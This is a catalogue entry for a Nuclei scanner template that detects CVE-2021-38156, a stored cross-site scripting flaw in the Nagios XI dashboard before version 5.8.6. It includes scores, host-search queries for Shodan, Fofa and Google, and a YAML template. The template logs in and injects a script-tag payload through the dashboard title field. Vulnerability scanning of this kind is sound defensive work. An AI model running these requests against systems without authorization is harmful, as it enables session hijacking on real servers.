CVE-2021-38156: Nagios XI < 5.8.6 - Cross-Site Scripting
- Template: CVE-2021-38156
- Name: Nagios XI < 5.8.6 - Cross-Site Scripting
- Description: In Nagios XI before 5.8.6, XSS exists in the dashboard page (/dashboards/#) when administrative users attempt to edit a dashboard.
- Impact: Authenticated attackers can inject malicious JavaScript via XSS in the dashboard title field, potentially stealing administrator session cookies or performing administrative actions.
- Remediation: Upgrade to Nagios XI version 5.8.6 or later.
- Severity: medium
- Authors: ritikchaddha
- Tags: cve, cve2021, nagios, nagiosxi, xss, authenticated, vuln
- References: https://raxis.com/blog/cve-2021-38156/, https://nvd.nist.gov/vuln/detail/CVE-2021-38156
- Cves: CVE-2021-38156
- Verified: yes
- Max requests: 5
- Directory: http/cves
- Path: http/cves/2021/CVE-2021-38156.yaml
- Digest: 4a0a00473045022100adb1557f1cc45ca7929b35c7e4ff333b3590b3405cd71c7317aedbee99b666910220700144e158554d528f668ba4b89e79d23551f434e845539b6651459b624287a8
- Created at: 2024-10-28T03:46:09Z
- Updated at: 2026-11-20T02:03:43Z
- Age in days: 757
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-38156.yaml
Classification
- Cwe: CWE-79
- Cvss score: 5.4
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Epss score: 0.88837
- Epss percentile: 0.9978
- Cpe: cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:*
Metadata
- Fofa-query: app="nagios-xi"
- Google-query: intitle:"nagios xi"
- Max-request: 5
- Product: nagios_xi
- Shodan-query: http.title:"nagios xi"
- Vendor: nagios
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| nagios:nagios_xi | yes | /v1/products/nagios/nagios_xi |
Labels
- Name: Nagios XI - Stored XSS
- Impact: Attackers can execute arbitrary scripts in the context of the affected user, potentially leading to session hijacking or data theft.
- Remediation: Update to version 5.8.6 or later.
- Vulnerability type: stored_xss
- Vulnerability impact: client_script_exec
- Requirement type: admin_privileges
- Requirements: Attacker needs administrative privileges
- Labels source: projectdiscovery
- From cve: CVE-2021-38156
```yaml
id: CVE-2021-38156
info:
name: Nagios XI < 5.8.6 - Cross-Site Scripting
author: ritikchaddha
severity: medium
description: |
In Nagios XI before 5.8.6, XSS exists in the dashboard page (/dashboards/#) when administrative users attempt to edit a dashboard.
impact: |
Authenticated attackers can inject malicious JavaScript via XSS in the dashboard title field, potentially stealing administrator session cookies or performing administrative actions.
remediation: |
Upgrade to Nagios XI version 5.8.6 or later.
reference:
- https://raxis.com/blog/cve-2021-38156/
- https://nvd.nist.gov/vuln/detail/CVE-2021-38156
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cve-id: CVE-2021-38156
cwe-id: CWE-79
epss-score: 0.88837
epss-percentile: 0.9978
cpe: cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:*
metadata:
max-request: 5
verified: true
vendor: nagios
product: nagios_xi
shodan-query: http.title:"nagios xi"
fofa-query: app="nagios-xi"
google-query: intitle:"nagios xi"
tags: cve,cve2021,nagios,nagiosxi,xss,authenticated,vuln
http:
- raw:
- |
GET /nagiosxi/login.php HTTP/1.1
Host: {{Hostname}}
- |
POST /nagiosxi/login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
nsp={{nsp}}&pageopt=login&username={{username}}&password={{password}}
- |
GET /nagiosxi/index.php HTTP/1.1
Host: {{Hostname}}
- |
POST /nagiosxi/ajaxhelper.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
cmd=updatedashboard&id=home&opts=&title="><script>alert(document.domain)</script>&background=&transparent=0&submitButton=Submit&nsp={{nsp_auth}}
- |
GET /nagiosxi/dashboards/manage.php HTTP/1.1
Host: {{Hostname}}
host-redirects: true
max-redirects: 2
matchers-condition: and
matchers:
- type: word
part: body_5
words:
- 'data-title=""><script>alert(document.domain)</script>'
- type: word
part: header_5
words:
- text/html
- type: status
status:
- 200
extractors:
- type: regex
name: nsp
part: body
group: 1
regex:
- "name=['\"]nsp['\"] value=['\"](.*)['\"]>"
internal: true
- type: regex
name: nsp_auth
part: body
group: 1
regex:
- "var nsp_str = ['\"](.*)['\"];"
internal: true
digest: 4a0a00473045022100adb1557f1cc45ca7929b35c7e4ff333b3590b3405cd71c7317aedbee99b666910220700144e158554d528f668ba4b89e79d23551f434e845539b6651459b624287a8:922c64590222798bb761d5b6d8e72950
```